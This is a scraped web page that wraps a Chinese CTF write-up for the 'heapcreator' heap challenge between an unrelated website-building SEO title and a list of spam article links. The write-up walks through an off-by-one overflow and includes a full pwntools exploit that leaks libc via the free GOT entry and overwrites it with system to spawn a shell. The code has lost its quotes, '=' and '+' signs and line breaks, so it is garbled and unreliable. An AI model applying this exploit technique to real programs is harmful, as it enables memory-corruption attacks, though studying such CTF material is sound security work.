当前位置: 首页 > news >正文

论述网站开发建设的一般流程翻译建设企业网站

论述网站开发建设的一般流程,翻译建设企业网站,电子商城网站建设费用,叮当app制作官网老规矩上来看保护#xff1a; 64位架构并且除了PIE全开。接着黑盒测试下场景#xff1a; 菜单题不用想就是堆。接着我们我们看看IDA中的逻辑#xff1a; 程序的主要逻辑是增删改查。我们看看创建堆的过程#xff1a; 注释我已给出#xff0c;步骤大概如下#xff1a; 1.…老规矩上来看保护 64位架构并且除了PIE全开。接着黑盒测试下场景 菜单题不用想就是堆。接着我们我们看看IDA中的逻辑 程序的主要逻辑是增删改查。我们看看创建堆的过程 注释我已给出步骤大概如下 1.创建一个索引堆大小为0x10前八个字节放Size后八个字节放用户开辟的堆地址。 2.创建用户要求大小的堆用户存放用户数据。 下面测试一下创建一个大小为0x10的堆输入数据aaaaa 下面我们看下释放堆快的代码 我们看到释放堆快这里没有什么问题也不存在UAF漏洞。接下来我们看看改堆快内容的代码逻辑 在edit中我们找到了漏洞所在。show的代码我们就不看了一般是用来泄露地址的。因此我们就需要利用Off-by-one来伪造一个chunk。以此来达到我们的目的。 根据上述代码逻辑我们的漏洞利用思路如下 1.申请三个大小一样的chunk分别为chunk0,chunk1,chunk2。 2.接着修改chunk0的内容填入bin/sh作为后续system的参数利用off-by-one并修改下一个索引chunk的大小为0x81覆盖的是chunk1的索引堆。 3.将chunk1释放掉并申请回来此时我们将拥有0x80大小的空间任我们写入。并能够在chunk1的索引堆上修改用户堆地址为我们可利用的got表项。 4.通过show泄露got表地址并计算libc的基地址,并得出system的地址 5.利用read_input函数将system的地址写入free的got表中 6.触发利用 exp如下 #!/usr/bin/env python # -*- coding: utf-8 -*-from pwn import *#r remote(node5.buuoj.cn,28780) r process(./heapcreator) elf ELF(./heapcreator) libc ELF(/lib/x86_64-linux-gnu/libc-2.23.so) #这是我本地的要用你自己本地的或者题目提供的 context.log_leveldebugdef add(size,content):r.sendlineafter(choice :,1)r.sendlineafter(Heap : ,str(size))r.sendlineafter(heap:,content)def edit(idx,content):r.sendlineafter(choice :,2)r.sendlineafter(Index :,str(idx))r.sendlineafter(heap : ,content)def show(idx):r.sendlineafter(choice :,3)r.sendlineafter(Index :,str(idx))def delete(idx):r.sendlineafter(choice :,4)r.sendlineafter(Index :,str(idx))free_got elf.got[free]add(0x18,aaaaa) #这里不能用0x10 程序会奔溃 0x18效果是一样的 add(0x10,aaaaa) add(0x10,aaaaa) #gdb.attach(r)#pause()edit(0,b/bin/sh\x00p64(0)*2b\x81)delete(1)add(0x70,p64(0)*8p64(0x8)p64(free_got))free_addr u64(r.recvuntil(b\x7f)[-6:].ljust(8,b\x00))base_addr free_addr - libc.symbols[free] system_addr base_addr libc.symbols[system]edit(2,p64(system_addr))delete(0)r.interactive() 下面我们看看具体的布局 申请三个大小一样的堆 接下来通过漏洞从chunk1的用户输入bin/sh并将chunk2的索引堆大小给改成0x80 释放掉chunk1接着再申请回来我们将拥有对0x80的操作权限并将free_got表地址写入chunk3的索引堆中 此时往chunk3这个用户堆写数据将会写入free_got表里这样我们可以将伪造的system的地址写入free_got表一旦调用free,将会去执行system。可能有些师傅会在这里有困惑答案在这里 这句其实可以这样解读read(0,对应索引堆里的那个堆地址Size)现在他将变成这样read(0,free_gotSize)。不知道这样解释明白不大神忽略。 最后我们释放chunk1,他将直接执行system函数并将堆地址给当成参数传入 理解思路就好我分别三次下断点运行调试的因此堆的地址在变化不必纠结。到这里就结束了。
http://www.zqtcl.cn/news/983574/

相关文章:

  • 做3d建模贴图找哪个网站珠海建设网站公司简介
  • 网站开发过程前端后端qq刷赞网站咋做
  • 湘潭高新区建设局网站旅游做攻略的网站有哪些
  • wordpress网站云备份网站模块插件是怎么做的
  • 郑州市城乡建设规划网站深圳十佳设计公司排名
  • 上海建设项目环保验收公示网站两新支部网站建设
  • 网站开发移动端网络系统软件应用与维护
  • 浙江网站建设营销网站后台管理系统一般用户名是什么
  • 网站 空间 租用wordpress搬家需要修改
  • 做网站推广怎么找客户网站换空间 seo
  • ipad网站开发seo哪家强
  • 昆明网站建设猫咪科技公司资料模板
  • 网站系统开发做网站需要填什么
  • 网站的数据库丢失建筑素材网
  • 个人网站做短视频pathon能做网站开发吗
  • 客户网站制作管理系统网站程序 wap pc 同步
  • 天津手动网站建设调试百度医院网站建设
  • ppt网站源码今天哈尔滨最新通告
  • asp网站乱码广州制作网页设计
  • 调用别人网站的数据库如何开网店卖自己的东西
  • 个人网站做影视网站开发学什么专业
  • 企业名称注册查询官网入口免费seo网站推广
  • 浙江门户网站建设公司个体工商户查询
  • 做网站的注意点赛事竞猜网站开发
  • 现在流行用什么语言做网站ppt设计教程网
  • 高端网站哪种好培训机构不退钱最怕什么举报
  • 青岛个人建站模板wordpress没有链接
  • 网上学习网站有哪些厦门城乡建设局网站
  • 怎样创建网站快捷方式个人制作一个网站的费用
  • 恒信在线做彩票的是什么样的网站软件开发流程管理